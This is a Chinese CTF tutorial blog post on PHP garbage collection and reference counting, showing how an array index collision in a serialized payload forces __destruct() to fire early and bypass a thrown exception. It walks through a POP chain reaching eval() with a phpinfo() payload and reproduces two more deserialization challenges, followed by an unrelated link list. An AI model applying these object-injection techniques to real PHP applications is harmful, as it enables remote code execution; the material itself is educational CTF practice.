浅谈php GC(垃圾回收)机制及其与CTF的一点缘分
0x00 侠客日常(一):CTF江湖试剑
众所周知,在php中,当对象被销毁时会自动调用__destruct()方法,同时也要知道,如果程序报错或者抛出异常,则就不会触发该魔术方法。
看题:
<?php
highlight_file(__FILE__);
error_reporting(0);
class aa{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class bb{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
}
}
class cc{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>
很简单的一道题:
首先调用__destruct()方法-->通过num参数触发__toString()方法-->给string参数赋值,调用cc的flag()方法,实现RCE。
思路很简单,但是注意这里有拦路虎:
这里代码末尾做了异常抛出处理,就没法触发我们想要的__destruct()方法,此时该如何绕过它呢?
少侠勿慌,先练练秘笈。
0x01 侠客日常(二):修炼秘笈-php垃圾回收机制
一、初练神功
要解决上面遇到的拦路虎,就不得不了解一下php的GC机制:GC全称Garbage Collection,即垃圾回收机制。
php中,主要采用引用计数的方式来支持垃圾回收机制。简单来说,就是引用计数为0的变量可以进行回收,腾出资源。php中的变量存在于一个叫"zval"的变量容器中,容器中包含了变量的类型和值,以及两个字节的信息:
一个是"is_ref":标识变量是否是引用集合,用于分开普通变量和引用变量。
一个是"refcount":用于确定指向此变量的个数,即引用的个数。
引用计数:每个内存对象都分配一个 refcount计数器,当内存对象被变量引用时,refcount计数器+1;当变量引用撤掉后(如执行unset()后),refcount计数器-1;当 refcount计数器=0时(数组对象为NULL),表明内存对象没有被使用,该内存对象则进行销毁,垃圾回收完成。
总的来说,php的垃圾回收机制存在三个版本时期:5.2之前、5.3-5.6、7.0之后,下面分别说一说:
1. php <=5.2
该版本及之前的垃圾回收机制就是单纯的使用引用计数方法。但是注意,当两个或多个对象互相引用形成循环,内存对象的refcount计数器并不会消减为0,也就就是说,此时这组内存对象已经没有被使用,但又不能回收,因此出现内存泄露现象。
2.php 5.3-->5.6
php5.3开始,使用了新的垃圾回收机制,在 引用计数 基础上,实现了一种复杂的算法,来检测内存对象中循环引用存在,以避免内存泄露。
在这些版本中,PHP把那些可能是垃圾的变量容器放入根缓冲区,当根缓冲区满了之后就会启动新的垃圾回收机制。过程如下:
如果发现一个zval容器中的refcount在增加,说明不是垃圾;
如果发现一个zval容器中的refcount在减少,如果减到了0,直接当做垃圾回收;
如果发现一个zval容器中的refcount在减少,并没有减到0,PHP会把该值放到缓冲区,当做有可能是垃圾的怀疑对象;
当缓冲区达到临界值,PHP会自动调用一个方法取遍历每一个值,如果发现是垃圾就清理。
3.php>=7.0
从PHP7的NTS版本开始,以下例程的引用将不再被计数,即 $c=$b=$a 之后 a 的引用计数也是1。
具体情况如下:
1.对于null,bool,int和double的类型变量,refcount永远不会计数;
2.对于对象、资源类型,refcount计数和php5的一致;
3.对于字符串,未被引用的变量被称为“实际字符串”。而那些被引用的字符串被重复删除(即只有一个带有特定内容的被插入的字符串)并保证在请求的整个持续时间内存在,所以不需要为它们使用引用计数;如果使用了opcache,这些字符串将存在于共享内存中,在这种情况下,您不能使用引用计数(因为我们的引用计数机制是非原子的);
4.对于数组,未引用的变量被称为“不可变数组”。其数组本身计数与php5一致,但是数组里面的每个键值对的计数,则按前面三条的规则(即如果是字符串也不在计数);如果使用opcache,则代码中的常量数组文字将被转换为不可变数组。再次,这些生活在共享内存,因此不能使用refcounting。
测试如下:
<?php
echo '测试字符串引用计数';
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
unset( $b);
xdebug_debug_zval( 'a' );
$b = &$a;
xdebug_debug_zval( 'a' );
// 输出:
测试字符串引用计数
a: (refcount=1, is_ref=0)='new string'
a: (refcount=1, is_ref=0)='new string'
a: (refcount=2, is_ref=1)='new string'
# 字符串引用,计数不变,&地址引用会变
echo '测试数组引用计数';
$c = array('a','b');
xdebug_debug_zval( 'c' );
$d = $c;
xdebug_debug_zval( 'c' );
$c[2]='c';
xdebug_debug_zval( 'c' );
// 输出:
测试数组引用计数
c: (refcount=2, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b')
c: (refcount=3, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b')
c: (refcount=1, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b', 2 => (refcount=1, is_ref=0)='c')
# 数组引用,数组本身计数加一,但数组里的键值对不变
echo '测试int型计数';
$e = 1;
xdebug_debug_zval( 'e' );
// 输出
测试int型计数
e: (refcount=0, is_ref=0)=1
# int型不计数
二、神功小成
通过如上的介绍与实验,我们可以总结如下:
1.绕过该异常抛出的方法就是通过提前触发垃圾回收机制,唤醒__destruct()魔术方法。
2.触发垃圾回收机制的方法有:(本质即使对象引用计数归零)
(1)对象被unset()处理时,可以触发。
(2)数组对象为NULL时,可以触发。
0x02 侠客日常(三):牛刀小试
上面我们知道了,当对象为NULL时也是可以触发_destruct()的,因此我们这里的话来试一下先传值给数组,之后将第二个索引置空:先构造payload:
<?php
highlight_file(__FILE__);
error_reporting(0);
class aa{
public $num;
}
class bb{
public $string;
}
class cc{
public $cmd;
}
$a = new aa();
$a->num=new bb();
$a->num->string=new cc();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);
得到:
a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}
将i:1
修改为i:0
:
a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}
打一下:
可以看到,成功执行执行phpinfo()。
0x03 侠客日常(四):挑战群雄
知道了原理,也经过了实验,想必各位侠客们早已创出了不少独家绝学,迫不及待要一展身手了,因此在这里摆下擂台,设下题目,给各位大侠一展拳脚:
题目一:CTFShow[卷王杯]easy unserialize
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
题目二:[NSSCTF]prize_p1
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}
class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
原文地址:https://www.cnblogs.com/uf9n1x/p/17187821.html
- 关于Flashback的小测试(r10笔记第15天)
- 分享一个分布式消息总线,基于.NET Socket Tcp的发布-订阅框架,附代码下载
- 【Go 语言社区】Golang语言获取系统环境变量的方法
- Oracle中的PUBLIC(r10笔记第14天)
- Data Guard高级玩法:通过闪回恢复switchover主库 (r10笔记第13天)
- WinForm/MIS项目开发之中按钮级权限实践
- 恢复控制文件避免使用resetlogs选项 (r10笔记第12天)
- Go实现短url项目
- 【Go 语言社区】GO语言多核并行化的问题
- mysql执行计划看是否最优
- 通过IP定位区域的SQL优化思路(r10笔记第10天)
- Java基础-day06-知识点回顾与练习
- 【Go 语言社区】Golang语言的多核并行化例子
- 一条SQL语句的执行计划变化探究(r10笔记第9天)
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- java学习应用篇|逃不掉的HelloWorld
- java学习原理篇|java程序运行套路
- 架构师成长之路系列(二)
- 前端性能优化 24 条建议(2020)
- 【Flutter 实战】大量复杂数据持久化
- GBDT+LR:Practical Lessons from Predicting Clicks on Ads
- 告别setState()! 优雅的UI与Model绑定 Flutter DataBus使用~
- k8s etcd 的实现原理
- iOS动态View的探索
- 安卓开发的瑞士军刀“Retrofit2框架”
- R语言中的广义线性模型(GLM)和广义相加模型(GAM):多元(平滑)回归分析保险资金投资组合信用风险敞口
- 来玩 TencentOS tiny 物联网终端操作系统
- LeetCode | 66.加一
- PNN:Product-based Neural Networks for User Response Prediction
- Redis | Redis Pub/Sub相关命令